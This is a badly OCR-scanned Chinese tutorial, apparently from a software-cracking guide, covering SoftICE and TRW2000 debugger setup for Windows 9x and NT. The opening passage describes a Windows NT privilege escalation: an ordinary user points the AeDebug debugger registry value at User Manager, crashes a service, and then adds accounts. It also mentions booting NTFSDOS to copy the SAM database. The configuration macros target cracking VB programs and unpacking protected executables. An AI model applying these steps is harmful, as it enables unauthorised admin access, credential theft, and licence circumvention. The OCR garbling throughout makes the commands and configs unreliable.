hole. exe, 运行 后 ,增加 了 一 个 有 管理 员 权限 的 用 户 。

这 些 程序 只 须 在 普通 权限 下 运行 。 还 有 一 个 技巧 是 进

行 注册 表 设 置 , 设 置 使 用 哪个 默认 的 调试 器 debug-

ger。 在 一 个 用 户 模式 的 程序 冲突 时 ,这 个 调试 器 就 会

运行 。 通 常 的 设置 是 :

Key:, HKEY LOCAL MACHINE\ Software\ Mi-

crosoft\Windows NT\CurentVersion \AeDebug

Value: Debugger

Data Type: REGC_S2Z

Defaujt Value: drwtsn32 -Pp%ld -ee%14d -多

所 有 的 人 都 有 权限 来 设置 这 个 值 , 从 而 给 破解 者

一 个 机 会 。 调 式 器 在 冲突 的 程序 的 安全 上 下 文中 运

行 。 因 此 , 所 有 你 要 做 的 就 是 改变 默认 值 , 用 来 指向

User Manager, 然 后 让 其 中 的 一 个 服务 冲突 。 这 就 取得

了 User Manager 运行 权 。 随 后 , 破解 者 就 能 增 减 帐号

了 。 用 rqisk /s 命令 用 来 备份 注册 表 。

另外 , 可 以 试图 使 用 NTFSD0OS 工具 , 该 工具 是 一

张 可 以 启动 的 DOS 磁盘 。 以 这 张 启动 盘 启 动 目标 机

器 后 ,就 能 读 该 机 器 上 的 NTFS 分 区 内 的 所 有 内 容 。 比

如 拷贝 系统 文件 , 包 括 SAM 数据 库 。 还 有 一 个 叫

Systems Intemals 的 工具 , 除了 有 上 述 功能 外 ,人 允许 对

NTFS 分 区 进行 写 操作 。 ” 鱼

一 、SOKFETICE for jin9x 安

装 与 设置

显卡 安装

“鼠标 安装

启动 菜单 配制

Symbol Loader

。 Winice. dat 配制 及 下 载

1.SOKTIHCE 安装

(1) SOFTICE 目前 最 新 版 本 是 4. 05, 如 你 的 系统

是 Win9x, 就 请 下 载 for Win9x 版 本 的 SOFTICE , 建议

下 载 SOFTICE 的 最 新 版 本 , 这 样 稳定 性 好 些 。 运 行

setup. exe 开始 安装 ,出 现 如 图 1。

AL3Demw 如 用 ESgb 大 村 是 礁 鸭 js3ram- TD masecn

ea WA 村 ve CO

RESIY EN 让 yd SP

站 EC 昌 介 人 有 省 作 人 人 DAI

人 arCefE NIGYA3p5Q

4 二 NEM 欠 DA 人 名 市 ?站

SRvm 折 其 FE 5

(2) 然后 点 击 下 一 步 , 输入 安装 序列 号 , 如 图 2

(序列 号 一 般 在 安装 软件 的 readme. txt 或 其 他 说 明文

件 里 )

(3) 下 面 几 个 画面 是 要 求 选 定 路 径 和 安装 组 件 ,

不 久 你 会 来 到 显卡 配制 对 话 框 ,如 图 3。

2 显卡 配制

《1) 第 一 种 配制 是 使 SOFTICE 激活 状态 时 类 似

DOS 全 屏 状 态 一 样 (也 就 是 字符 模式 状态 )。 在 显卡 列

Aliance Semiconductors

了 ATI Technologies

Cardnal Technologies

图 3

表 选 择 你 的 显卡 类 型 ,Universal Vidoe Driver 和 Use

monochrome card/monitor 这 两 项 不 要 选 , 然 后 点 击

Test 按钮 , 在 测试 过 程 中 你 能 看 到 各 种 颜色 的 字符 ,

说 明显 卡 测试 通过 ,就 可 点 击 下 一 步 了 。

(2) 第 二 种 配制 是 使 SOFTICE 在 激活 状态 下 类 似

windows 应 用 程序 的 一 个 窗口 那样 , 这 样 在 调试 时 可

避免 显示 器 不 停 地 在 图 形 和 字符 模式 转换 , 对 提高 显

示 器 寿命 大 有 好 处 。 配 制 时 ,显卡 列表 一 栏 忽略 ,不 用

配制 , 只 要 把 Universal Vidoe Driver 这 一 项 选 上 ,然后

Test, 跳 出 如 图 4 对 话 框 ,测试 通过 。( 强 烈 推 荐 这 种 方

图 4

3. 鼠标 的 配制

现在 的 鼠标 常见 的 一 般 是 串 行 口 或 ps/2 接口 ,

你 跟 据 自己 的 鼠标 接口 类 型 或 位 置 选 上 合适 的 就

可 。 如 碰 到 鼠标 在 SOFTICE 调试 画面 不 能 用 或 一 用

就 死机 , 可 能 是 没 选 好 正确 的 选项 , 你 可 在 SOFTICE

菜单 里 , 如 图 5 所 示 , 运行 Mosue Setup 这 个 菜单 项 重

新 配制 鼠标 。

4.。 装载 SOFTICE 的 主 文件

Winice。exe

首先 要 了 解 SOFTICE for Win9x 版 本 是 如 何 装载

的 。 在 SOFTICE 的 安装 目录 下 有 winice. exe 这 个 文

件 ,Windows 启动 到 纯 DOS 环境 下 , 运 行 winice. exe

这 个 文件 ,将 装载 SOFTICE。 安 装 时 默认 将 C: \PRO-

GRA ~1MNUMEGAA\SOFTIC ~ 1I\WINICE. EXE 这 一 行

放 时 进 Autoexec. bat( 自动 批 处 理 文 件 ), 这 样 Win-

dows 以 后 每 次 都 运行 Autoexec. bat 这 个 文件 , 自动 装

载 SOFTICE。 另 外 , 你 可 根据 自身 需要 配制 启动 模

式 , 具 体 参 考 详 见 下 文 。

配置 完 鼠 标 后 , 会 出 现 以 何 种 方式 装载 SOFTICE

的 主 文 件 Winice. exe 的 询问 对 话 框 , 如 图 6; 然后 安

装 程序 将 复制 文件 到 人 硬盘 里 , 来 到 最 后 一 个 电子 注册

对 话 框 , 如 图 7, 这 里 选 最 后 一 项 Regiter later。 至 此 ,

安装 完成 ,重新 启动 Windows ,微机 先 到 DOS 下 ,自动

或 手动 运行 相应 批 处 理 文件 , 运行 其 内 的 Winice. exe

文件 ,装载 Windows。

S。Symbol Loader 的 使 用

在 开始 SOFTICE 的 菜单 里 有 一 项 Symbol Loader

快捷 方式 , 运行 后 ,进入 其 菜单 EDIT-*SOFTICE Imi-

tialization Settings 选项 ,打开 后 如 图 8 所 示 。 这 里 你 就

可 配制 SOFTICE 了 。

(1)General 选项

在 Initialization string 里 , 你 可 填 上 需要 SOFTICE

一 启动 自动 运行 的 命令 。 如 :

WD 2; WC 14; FAULTIS OFF;, IKXHERE OFF ;

IYHERE OFF; set font 2; lines 40; x; (各 行 以 分 号 分

开 )

(2)Exports 选项

在 这 里 可 添加 相关 的 DLL 文件, 以便 在 SOFTICE

下 拦截 这 些 DLL 的 函数 。 特 别 是 破解 VB 程序 时 , 定

要 将 VB 运行 库 装载 进去 。

(3)Keyboard Mappings 选项

这 里 配制 各 功能 热 键 。 如 :F5 = “ xj; "用 TS 键 代

替 命 令 X.

(4)Macro Definitions 选项

宏 定 义 , 你 可 定制 各 种 命令 宏 ,以 方便 平时 的 操作 。

如 : s7878 =“S 30:0LfEEEF,78787878,” 用 命

令 s7878 代替 一 串 命 令 :S$ 30:0L ffffffff ,78787878,

(5$)Remote Debugging

利用 网 络 远程 调试 配制 。

注 : 以 上 所 有 配制 好 后 的 参数 , 都 保存 在

winice. dat 文件 里 。

6, Winice. dat 配制

在 Windows 9x 下 SoftICE 配制 除了 用 上 面 的 方 “

法 外 , 也 可 通过 文件 winice. dat 来 实现 的 。Soft - ICE

在 启动 的 时 候 通 过 它 装 人 一 些 DLLVEXE 的 信息 。 你

可 在 SODFTICE 安装 目录 下 发 现 winice. dat, 可 用 任何

文本 编辑 软件 打开 它 (如 记事 本 )。

注意 分 号 后 是 描述 语言 ,不 被 执行 。

PENTIUM = ON

NMI= ON

上 ECHOKEYS = OFF

NOLEDS = OFF

NOPAGE = OFF

SIWVIDRANGCE = ON

THREADP = ON

LOWERCASE = OFF

WDMEXPORTS = OFF

MONIIOR =0

PHYSMB = 32

SYM = 1024

HST = 256

TRA=8

MACROS =32

DRAWSIZE = 2048

INIT = 了 FAULTS OFF ; IXHEREF OFFE; IYHERE

OFF; set font 2; lines 40; wd 2; we 20; code on; xj;”; 初

始 化

F1 =“h;”

F2 = 从 杂 j

F3 = “PAGEIN B ProcDump32 - Dumper Serv-

cr;”; 脱 壳 用

F4 = 失 rsj

FS = X3;”

F6 = ec;”

F7 = here;”

F8 二 2 t; 几

F9 = “ bpx;?”

FI10= “pi

FI1= CQ@SS:ESP;”

F12 = “ pret;?”

SF3 = ”人 format;”

CF8 = XT;”

CF9 = “TRACE OFF;”

CF10 = XP;”

CEFI11 =“SHO 双 Bi;”

CF12 = “TRACE Bi”

AF1T = wTi”

AF2 = wd;”

AF3=“ 人 SO0OLEFFFFFFFF 8B,CA,F3,A6,, 74,

01,9F,92,8D,5SE,08;”; VB3 特征 字符 串

AF4=“”“s01lfgftfff S6,57, 8B,7C,24, 10, 8B,

74,24,0C,8B,4C,24,14,33,C0,F3,66,A7;”;VB4

特征 字符 串

AFS=“” 人 s0lfgffff FE,7S,E0,E8, 8S,EF,, FF,

FF,DC,1D,28,10,40,00,DEF,E0,9%E,75,03;”;VB5

特征 字符 串

AF8 = 从 XT Ri;”

AF11 = dd dataaqddr 一 0;”

AF12 = dd dataaddr 一 4;”

CEF1 = “altscr off; lines 60; wc 32; wd 8;”

CEF2= 人 wri wd 和 wej”

;以 下 是 宏 操 作 命令 :

MACRO s7878 = “SS 30:0 LEEEE :78787878,”

MACRO sname = “S 0 革 FFFFFFFF :toye” ”

MACRO swide = “s 01FFFFFFFF :7 8,7

0

MACRO reg =“bpx regqueryvalueexa 讶 大 (esp 一

8)> = ,Soft” do "d(esp 一 14)“”

MACRO bpxpe = “bpx loadlibrarya do “dd esp 一 4”

MACRO bpxgeta = “bpx CetDlgItemTextA; bpx

getwindowtexta; bpx getdlgitemint; bpx getdlgitemtext;”

大 火炎 火炎 了 Examples of sym files tbhat can be

included 证 you have the SDK 痰 火炎 火炎

; Change tbhe path to the appropriate drive and

directory

;LOAD = c: \windows \system \user. exe

;LOAD = c: \windows \system \gdi. exe

;LOAD = c: \windows \system \krn]386. exe

;LOAD = c: \windows \system mmsystem. dll

;LOAD = c: \windows \system \win386. exe

; Exports - change the path to the appropriate

drive and directory

EXP = c:\windows \system\advapi32. dll ; 这 四 行

前 不 要 加 分 号 , 否 则 不 被 装载 , SOFTICE 可 能 什么 也

拦 不 到 :

EXP = c: \windows \system \kernel32. dl

了 EXP = c: \windows \system \user32. dj]

exp = c: \windows \system \gdi32. dl

exp = c: \windows \system \comcti32. dll ;

; 如 你 要 破解 VB 程序 , 下 面 的 VB 运行 库 将 要

装载 ,SOKFTICE 默认 值 是 没有 这 几 行 , 你 需 手 动 加

上 。

; 卫 XP = c: \windqows \system \msvbvm60. dl]; Visual

Basic 6

EXP = ec:\windows \system\msvbvm50. d]; Visual

Basic 5 注意 在 这 五 个 DLL 中 最 好 不 要 同时 装载 2 个

以 上

; 了 EXP = c:\windows \ system\ vb40032. djl; Visual

Basic 4(32bit)

; 玉 XP = c:\windows\ system\vb40016. dll1; Visual

Basic 4(16 -bitb) 较 少见

; EXP = c:\windows \system\vbrun300. dl; Visual

Basic 3

;了 XP = c:

;上 XP = c:

; 卫 XP = c:

;EXP = c:

; 卫 XP = c

;上 EXP = c:

;EXP = c :

; 卫 XP = c:

; 卫 XP = c,

;EXP = c:

;EXP = c:

;了 EXP = c:

;XP = c;

; 卫 XP = c:

;了 XP = c:

;EXP = c:

2 类 X

9》

be included for

; Change the path to the appropriate drive and

directory

EXP = c:

EXP = c:

EXP = c:

上 EXP = c:

EXP = c:

上 EXP = c,

EXP = c:

了 EXP = c :

;EXP = c:

; 节 XP = c:

上 EXP = c:

;EXP = c :

\windows \system \kernel32. d]]

\windows \system \vga. drvji

\windows \system \vga. 3gr

\windows \system \sound. drv

\windows \system \mouse. drv

\windows \system \netware. drv

\windows \system \system. drv

\windows \system \keyboard. drv

\windows \system \toolhelp. dl

\windows \system \shell. dl

\windows \system \commdjg. dl

\windows \system \olesvr. qd

\windows \system \olecli. di

\windows \system \mmsystem. dl

\windows \system \winoldap. mod

\windows \progman. exe

\windows \drwatson. exe

火 火 上 Examples of export symbols that can

Windows 9S 火 火 火 火 火

\windows \system \user32. dl]

\windows \system \gdi32. dl

\windows \system \comdlg32. dl

\windows \system \shel132. dl

\windows \system \advapi32. dj

\windows \system \shell232. dl

\windows \system \comct132. dl

\windows \system \crtdll. dll

\windows \system \version. dj

\windows \system \netlib32. dl

\windows \system \msshrui. dl

EXP = c: \windows \system \msnet32. dj

EXP = c,

;上 XP = c:

\windows \system \mspwl32. d]1

\windows \system \mpr. dl

启动 Windows 装载 SOFTICE 后 , 喷 ! 怎么 没 反

应 ? 没 调试 表面 ! 哈哈 , 别 着 急 , 按 CTRL + D 看 看 ,再

按 一 下 回 到 Windows 下 ,或 按 F5 也 能 回来 。 此 时 调试

窗口 像 人 Windows 开 的 一 窗口 , 如 果 像 全 屏 DOS 一

样 窗口 , 那 就 是 安装 显卡 时 参数 没 选 好 ,此 时 按 上 文

修正 即 可 。 下 面 的 命令 是 调整 SOFTICE 窗口 状态 :

set font n(n=1,2,3) 设 置 字体 ;本 人 建议 set font

有 要 光环

SS

本 本

二 汪

2( 在 800 乘 600 条 件 下 )

set origin x,y(x,y) 锁 定 窗 口 ;

lines nn=(25 -128) 设置 显示 行 数 ; 本 人 建议

lines 40

Ctrl + Alt+ 光标 键 移动 窗口 ;

Ctrl + Alt + home 重 设 窗口 位 置 原点 (0,0);

Ctrl + 工 刷新 。

如 你 以 默认 winice. dat 启动 SOFTICE , 有 可 能 需

用 WD 打开 数据 窗口 ; 用 SET FONT 2 设置 字体 等 重

复工 作 。 你 可 在 winice. dat 文件 内 设置 自动 执行 命令

操作 ,方法 是 在 INIT 这 一 行 ,各 命令 用 分 号 分 开 , 如 :

INIT = WD 2; WC 14; FAULTS OFF; IKXHERE

OFF; IYHERE OFF; set font 2; lines 40; x; ”这样 配制

后 界面 类 似 TRW2000。( 这 些 是 在 800T 乘 600 条 件

下 的 情况 , 如 你 不 是 此 分 辩 率 可 调整 set font n; lines

D)

二 、SOFTICE for NT72K 安

装 与 配制

1、SOFTICE for NTZ2k 的 安装 与 for 9x 版 本 差 不

多 , 所 不 同 的 是 在 装 裁 SOFTICE 方式 选择 , 如 图 9 所

示 。 可 根据 需要 选择 不 同 的 装载 方式 , 注 : 如 你 选择 了

Manual 方式 ,要 装载 SOFTICE , 需要 来 SOFTICE 的 菜

单 里 运行 选项 : START SOFTICE 快捷 方式 来 装载

SOFTICE 。

图 9

2 在 NT 下 ,配制 SOFTICE 是 用 SOFTICE Loader

(从 你 的 开始 菜单 选 ) ,选择 Edit/SoftICE , 一般 的 选项

是 初始 化 ,这 里 你 可 参考 手册 了 解 不 同 的 开关 选项 的

详细 描述 。 如 ,

CODE ON; FAULTS OFF; I3HERE OFF; WD 3;

WF; X;

其 他 两 个 重要 的 选项 是 Symbols 文 Exports。 如果

你 拥有 自己 系统 的 SDK( 软 件 开发 工具 包 ), 你 可 用

SOFTICE 装载 并 调试 它 。 那 些 没有 SDK 的 , 应 该 用

exports 选项 从 和 WinNT9% /System32 目录 下 增加 下 面

的 电文 件 :

advapi32. dl , comctl32. dl , comdlg32. dl ,

gdi32. dl ,kernel32. dl1 ,msvbvm(50Z60) . dl (如 果 需

要 ) ,msvert. dl (如 果 需 要 ) ,ole32. dll ,oleaut32. d]],

shell32. dl ,user32. dll ,version. d]]。

三 、TRW2000 的 安装 与 配制

国人 自己 编写 的 调试 软件 , 完 全 兼容 SOFTICE

各 种 指令 , 但 现在 许多 软件 能 检测 SOFTICE 存在 ,而

TRW2000 在 这 方面 就 好 多 了 。TRW2000 有 它 自 已 的

独特 方面 , 是 针对 破解 软件 优化 的 ,Windows 下 的 中

踪 调 试 程序 , 跟踪 功能 更 强 ; 可 以 设置 各 种 断 点 ,只 是

断 点 种 类 更 多 ; 它 可 以 像 一 些 脱 壳 工 具 一 样 完 成 对 加

密 外 壳 的 去 除 , 自动 生成 EXE 文件 , 只 是 留 给 用 户 更

多 的 选择 ;在 DOS 下 的 版 本 为 TR。

1. 安装 TRW2000

TRW 安装 简单 多 了 ,没有 SOFTICE 那样 复杂 ,但

目前 TRW2000 不 支持 Windows NT。 它 发 布 的 版 本 是

一 个 ZPP 压缩 包 , 才 200 多 天 。 只 要 将 其 解压 缩 到 一 个

目录 下 , 然 后 运行 TRW2000.EXE 即 可 , 如 图 10 所

示 ,, 无 须 安装 或 者 重启 计算 机 。

图 10

激活 方式 同 SOFTICE 不 一 样 :

(1) Cal+M 特权 级 0 级 的 热 键 , 能 够 立即 中 断

Win9x。 相 当 于 Soft - ICE 的 热 键 Ctrl +D。

(2) Ctrl +N 特权 级 3 级 的 热 键 。 在 绝 大 多 数 时

候 , 我 们 并 不 需要 在 0 级 上 中 断 。Ctrl +N 可 以 中 断

Windows 的 特权 级 3 级 的 前 台 线 程 。 这 应 该 是 我 们 最

常用 的 。 其 他 指令 同 SOFTICE 兼容 , 但 是 TRW2000

有 许多 更 新 的 思想 ,具体 看 后 面 的 介绍 及 范例 。 另 外 ,

TRW2000 可 支持 plug -ins, 也 可 装载 量 文 件 。 在

1. 15 版 本 以 上 ,在 安装 目录 下 有 一 dl 目录 , 如 你 特

别 需 要 的 du 复制 到 此 目录 , 即 可 装载 , 如 破解 VB

时 ,就 需要 将 VB dll 复制 到 此 目录 。 具 体 参 考 后 面 的

VB 破解 。 其 他 的 请 读 其 ReadMe。

2。 TRYW2000 的 配制

TRW2000 的 配制 是 通过 其 安装 目录 下 的

TRW2000. ini 来 实现 的 , 你 可 按 自己 的 需要 配制 它

(一 般 按 默认 即 可 )。

; TRW2000 Initialize file

; Please modify it as your habit .

;PLUGCS = C: AMY_PLUGS AHELLO. SYS

F1 =^ HELP ; Command length CAN"?T be longer

than 15 characters !

; This command length is 3 charcaters .,

FE3 =”^ SRC

F4 =”^ RS

F5 = 义

E6 = 了 EC

F7 = HERE

E8 = 工

FK9 =”^ BPX

F10 =^ 了

F12 =” PRET

;HOTKEEY =320D ;Ctrl + M

;R3HOTKEY =310E ;Ctrl -T

CRAPHICS = ON

;INIELLIMOUSE = OFF

WINMOUSE = ON

LINES = S0 ;in dec

四 、 熟 悉 SOFTICE 和

TRYW2000

TRW2000 的 命令 操作 和 SOFTICE 兼容 , 因 此

SOFTICE 的 操作 在 TRW2000 里 一 般 都 能 实现 。

TI, 操 作 窗 口

按 上 一 节 方 法 装载 好 SOFTICE 后 ,在 Windows 环

境 里 , 按 下 CTRL +D 键 即 可 激活 SOFTICE( 如 是

TRW2000, 则 按 CTRL +N 激活 ) 出 现 如 图 11 所 示 的

调试 画面 (图 片 注释 文字 : 在 数据 窗口 左 半 边 是 以 二

进 制 表示 的 内 存 数据 , 右 半边 是 以 ASCI 码 表示 的 内

存 数据 )。

ED 本 计生

oa RE

5 全 汪 上

mp

| 如 “88 Sa

iD ER w

所 = 和 REL32 SINMReaHEE

图 11

大 家 可 能 注意 到 , 窗口 中 “代码 窗口 ”与 “命令 窗

口 ” 之 间 的 部 分 被 称 做 “程序 领空”, 这 里 就 解释 一 下

“领空 "一 词 的 由 来 和 含义 。 我 想 大 家 肯定 看 过 网 上 一

些 前 辈 们 写 的 文章 , 他 们 多 是 港 台地 区 的 , 所 以 称

“程序 ”为 “程式 ”, 而 大 陆 的 学 生 在 学 校 里 或 书本 上 用

“程序 "一 词 较 多 。 现 在 是 赶 时 庄 或 叫做 “称谓 大 融合 ”

的 时 代 , 叫 什么 都 没有 关系 ,但 有 一 点 是 肯定 的 ,我们

说 的 都 是 同一 档 子 事 “PROGRAM”

所 谓 “ 领 空 ” 也 是 他 们 传 出 来 的 , 比较 形象 , 姑且

就 这 人 么 叫 吧 !“ 领 空 ” 实际 上 是 指 在 某 一 时 刻 , CPU 的

CS: 瑟 (EIP) 所 指向 的 某 一 段 代码 的 所 有 者 所 在 的 区

域 。 一 个 程序 的 “领空 ”实际 上 是 指 SofUCE 所 停 下 来

时 光 棒 所 在 的 那 一 名 代码 是 属于 谁 的 , 属于 该 程序 的

就 叫 该 程序 的 “领空 ”, 你 如 果 想 宕 探 该 程序 的 代码 ,

的 和 二 < 刘 秆 时 本

常用 命令

在 这 里 , 我 把 SOFTICE 一 些 常 用 命令 列 出 , 详细

解说 请 参阅 附录 中 的 SOFTICE 指令 详解 。Soft - ICE

的 所 有 动作 都 发 生 在 一 个 可 以 随时 激活 的 视窗 中 。

Soft -ICE 的 所 有 指令 都 可 以 显示 在 一 个 小 视窗 中

这 个 视窗 可 以 扩大 到 整个 屏幕 , 在 视窗 底部 的 状态 行

提供 指令 语法 的 辅助 。

(1) 激 活 视 窗

载 人 Soft -ICE 后 ,你 可 以 随时 激活 视窗 。 一 开始

你 只 要 按 Ctrl -D 即 可 激活 Soft - ICE。

(2) 由 视窗 中 返回

使 用 X 这 个 指令 或 者 按 Soft - ICE 的 热 键 均 可 以

回 到 原先 的 画面 。 你 在 Soft -ICE 中 设 定 的 所 有 中 断

点 此 时 开始 启动 。

(3) 改 变 视 窗 大 小

你 可 以 改变 Soft - ICE 视窗 的 宽度 和 高 度 。 在 独

立 模 式 中 显示 程序 码 时 , 改变 视窗 大 小 的 功能 特别 有

用 。 视 窗 的 高 度 为 8 到 25 行 。

按 Al - 了 使 视窗 变 高

Alt - | 使 视窗 变 短

使 用 WIN 的 指令 以 改变 视窗 的 宽度 。 直 接 输入

WIN 而 不 加 参数 会 在 下 面 两 种 模式 中 切换 :

WIDE 模式 一 一 占 满 整个 屏幕

NARROW 模式 一 一 46 个 字 节 宽

有 些 指令 像 D、E、R、U, 使 用 WIDE 模式 以 显示

更 多 信息 时 较为 方便 。

(4) 移 动 视窗

Soft -ICE 的 视窗 是 可 以 移动 且 可 以 定位 在 屏幕

上 的 任何 地 方 。 这 功能 在 NARROW 模式 下 特别 有

用 。 在 你 需要 时 移动 视窗 以 便 观 看 屏幕 上 被 视窗 挡 到

的 地 方 。 你 可 以 用 下 列 控 键 控制 屏幕 的 移动 :

Ctrl - 向 上 移 一 行

Ctrl -| 向 下 移 一 行

ctl - 一 向 右 移 一 列

Ctrl - 全 向 左 移 一 列

(5) 窗 口 打 开 或 关闭 命令

鸡 C 作用 : 打开 或 关闭 代码 窗口 ; 或 改变 代码 窗

口 大 小

WD 作用 : 打开 或 关闭 数据 窗口 ; 或 改变 数据 窗

口 大 小

WF 作 用 :以 浮 点 或 MMx 形式 显示 浮 点 栈

WR 作用 :打开 或 关闭 寄存 器 窗口

双 允 作用 : 打开 或 关闭 监视 窗口 ; 或 改变 监视 窗

口 的 大 小

(6) 行 编辑 按键

Soft - ICE 有 一 个 容易 使 用 的 行 编 辑 器 。 以 下 按

键 可 以 帮助 你 在 命令 窗 中 编辑 指令 :

一 一 一 光标 右 移

和 一 一 一 光标 左 移

Ins 一 一 切换 播 人 模式

Del 一 一 消除 现在 字 节

Home 把 光标 移 到 一 行 的 开头

End 一 一 把 光标 移 到 一 行 的 结尾

T 一 一 显示 上 一 个 指令

| 一 一 显示 下 一 个 指令

Shift -~ 上 显示 向 上 卷 一 行

Shift - | 一 一 显示 向 下 卷 一 行

Page Up 显示 向 上 卷 一 页

Page Down 显示 向 下 卷 一 页

BackSpace 消除 前 一 个 字 节

Esc 取消 目前 命令

当 光 标 在 数据 窗口 或 代码 窗口 时 , 另 有 特殊 的 按

键 , 这 在 后 面 将 会 讨论 到 。

(7) 指 令 语法

Soft -ICE 是 个 由 指令 操控 的 调试 工具 。 要 让

Soft -ICE 进行 操作 ,你 要 下 指令 给 它 。 指 令 可 以 因 不

同 参 数 而 有 改变 。 所 有 的 指令 都 是 1 到 6 个 字 节 的 字

串 且 不 分 大 小 写 。 所 有 的 参数 都 是 字 串 或 计算 式 。 计

算式 是 典型 的 数字 , 也 可 以 是 数字 和 运算 式 的 结合 。

所 有 的 数字 均 以 16 进位 表示 。 一 个 字 节 (byte) 参 数 有

2 位 , 字 (word) 参 数 有 4 位 。 双 字 (double word) 是 两 个

由 “: ”分隔 的 字 组 参数 。 以 下 是 一 些 参 数 的 例子 :

12 一 一 字 节 参数

1I0FT 一 一 字 参 数

E000:0100 一 一 双 字 参数

寄存 串 在 计算 式 中 可 以 拿 来 当 字 节 或 字 人 参数

用 。 例 如 : U CS$:IP-10 的 指令 会 从 现在 指令 指标 所

指 地 址 向 前 10 byte 开始 反 汇 编 。 以 下 的 寄存 器 名 称

可 以 用 在 计算 式 中 :

AL、AH、AX、BL、BH、BX、CL、CH、CX 、DL、DH、

DX、DI SI BP、SPJIP、 CS 、DS、ES、SS FL

《8) 指 定 内 存 地 址

许多 Soft - ICE 的 指令 要 求 以 内 存 地址 当 参 数 。

一 个 内 存 地 址 是 由 两 个 16 位 的 字 中 间 以 “:” 分 踊 而

组 成 的 。 第 一 个 字 组 表示 节 段 地 址 (segment address ) ,

第 二 个 字 组 表示 偏 移 地 址 (offset segment) 。

公用 符号 可 以 在 所 有 Soft - ICE 指令 中 用 来 取代

地 址 。 公 用 符号 必需 先 由 Soft -ICE 的 程序 裁 入 器

(LDR. EXE) 载 人 。

Soft - ICE 计算 式 的 运算 器 接受 一 些 特殊 字 节 和

地 址 的 使 用 。 这 些 字 节 是 :

$ 一 现在 CS: 了 下 所 指 的 地 址

@ 地 址 一 一 间接 双 字

.number 一 一 原始 程序 码 行 号

当 你 要 输入 目前 指令 指标 的 地 址 时 , 可 以 用 $ 代

蔡 CS:IP。

使 用 @ 可 以 让 你 参考 到 地 址 所 指 处 的 双 字 。 你 可

以 使 用 多 层 的 @ 。

如 果 用 。 来 代表 地 址 , 它 是 用 来 代表 源 程 序 码 中

的 行 号 , 而 非 实际 的 地 址 。 这 只 有 在 原始 程序 码 有 载

人 的 情形 下 才能 使 用 。 这 种 情况 下 ,地 址 是 以 10 进位

表示 。

例如 : 0U. 1234 一 一 从 原始 程序 码 第 1234 行 开 始

反 汇 编

U $- 10 一 一 从 目前 指令 指标 所 指 处 向 前 10

byte 开始 反 汇 编

G @ SS: SP 一 一 假如 你 目前 正在 第 一 个 中 断 程

序 , 下 这 个 指令 会 在 堆栈 的 返回 地 址 设 个 暂时 中 断 点

并 跳 过 此 中 断 程 序 。

(9) 功 能

功能 键 可 以 代 蔡 一 串 Soft - ICE 指令 。 功 能 键 可

以 由 命令 行 设 定 或 在 WINICE. DAT 中 定义 。

soft - ICE 的 配制 文件 winice. dat 已 经 对 12 个 功

能 键 有 设 定 。 你 可 以 在 任何 时 候 改 变 任何 一 个 设 定 。

每 个 键 定 义 如 下 表 所 示 。 这 样 设 计 是 为 了 方便 微软 的

CodeView 的 使 用 者 。

F1 一 一 显示 一 般 辅 助 画面 (Hi )

F2 一 一 在 寄存 器 窗 中 切换 (” 双 Ri)

F3 一 一 改变 目前 原始 码 的 模式 (^ SRC; )

F4 一 一 恢复 屏 葛 内 容 (”BSi)

FE5 一 一 回 到 原 程 序 (^ Xi )

F6 一 一 在 命令 窗 中 和 程序 码 窗 中 切换 (” EC3; )

I7 一 一 执行 到 光标 所 在 那 行 (” HERE ; )

F8 一 一 单 步 执 行 (人 Ti)

F9 一 一 在 光标 所 在 那 行 设 中 断 点

FI10 一 一 单 步 执行 ( Pi)

FT11l 一 一 执行 到 返回 地 址 (人 G @SS:SP;)

(″ BPX; )

F12 一 一 让 SoftICE 单 步 执行 代码 ,直到 出 现 RET

(XXXX) 命 令 ,之 后 拦截 (” preti)

指令 前 的 ” 会 让 这 个 指令 不 显示 出 来 。 指 令 后

的 ; 则 代表 按 下 Enter。 输 入 FKEY 的 指令 可 以 显示 目

前 功能 键 所 代表 的 意义 。 要 使 用 功能 键 直接 按 下 功能

键 即 可 ,不 需 再 键入 指令 。

《10) 辅 助

利用 辅助 的 指令 可 以 得 到 有 关 指 念 的 简单 解说 、

语法 和 使 用 例子 。 要 得 到 辅助 的 信息 , 键 和 人 :

?或 了 一 一 显示 所 有 指令 和 运算 式 的 简短 解说

?指令 或 瓦 指 令 一 一 显示 关于 指令 语法 和 例子 更

详细 的 信息

? 计算 式 或 丽 计算 式 一 一 把 计算 式 的 结果 以 16、

10 进位 及 ASCI 码 显示 出 来

3. 关于 中 断 点 指令 的 使 用

Soft -ICE 具有 以 往 只 有 硬件 调试 器 才 具 有 的 断

点 能 力 。 因 为 80386 芯片 的 威力 和 弹性 ,使 我 们 不 需要

额外 的 硬件 设备 就 能 有 更 强大 的 断 点 能 力 。 断 点 的 触

发 可 以 由 内 存 某 地 址 的 读 取 \ 内 存 范围 的 读 取 、\ 程 序 的

执行 及 端口 的 存 取 来 达成 。Soft - ICE 赋 与 每 个 断 点 一

个 一 位 的 16 进位 号 码 (0 -了 )。 这 个 断 点 号 码 是 当 你 对

斯 点 作 删 除 . 中 止 启动 .编辑 等 动作 时 使 用 。Soft -ICE

的 所 有 断 点 都 是 “sticky”。 这 个 意思 是 这 些 断 点 在 启动

后 不 会 自动 消失 。 你 必需 以 BC 或 BD 命令 来 消除 或 关

闭 它 。SoftICE 一 次 可 以 处 理 16 个 断 点 。 同 种 形态 的 断

点 最 多 可 以 有 10 个 。 但 内 存 地 址 的 断 点 (BPM) 因

80386 处 理 器 的 暂 存 器 的 缘故 ,最 多 只 能 设 4 个 。

设置 中 断 点 是 破解 跟踪 软件 中 最 常用 到 的 行为

之 一 , 这 里 只 是 列 出 相关 指令 让 大 家 了 解 一 下 , 详 细

的 使 用 技巧 和 语法 格式 会 在 以 后 章节 的 实例 及 附录

中 的 SOFTICE 指令 详解 中 列 出 。

设置 中 断 点 指令 :

BPM BPMB BPMW BPMD 一 一 在 内 存 地 址 被 存 取

或 执行 时 引发 中 断

BPR 一 一 对 内 存 范围 设置 中 断 点

BPIO 一 一 对 IZ0 端口 存 取 时 触发 中 断

BPINT 一 一 呼叫 插 断 时 触发 中 断

BPX 一 一 设置 /清除 执行 中 断 点

CS 一 一 CS: 卫 范围 的 检定 判断

BPAND 一 一 等 待 复合 中 断 点 的 发 生

BPM BPMB BPMW BPMD 一 一 在 内 存 地 址 被 存 取

或 执行 时 引发 中 断

处 理 指令 :

BD 一 一 中 止 中 断 点

BE 一 一 启动 中 断 点 “

BE 一 一 列 出 中 新 点

BPE- -编辑 中 断 点

BPT-_ -把 中 断 点 当 样板

BC 一 清除 中 断 点

4. 其 他 指令

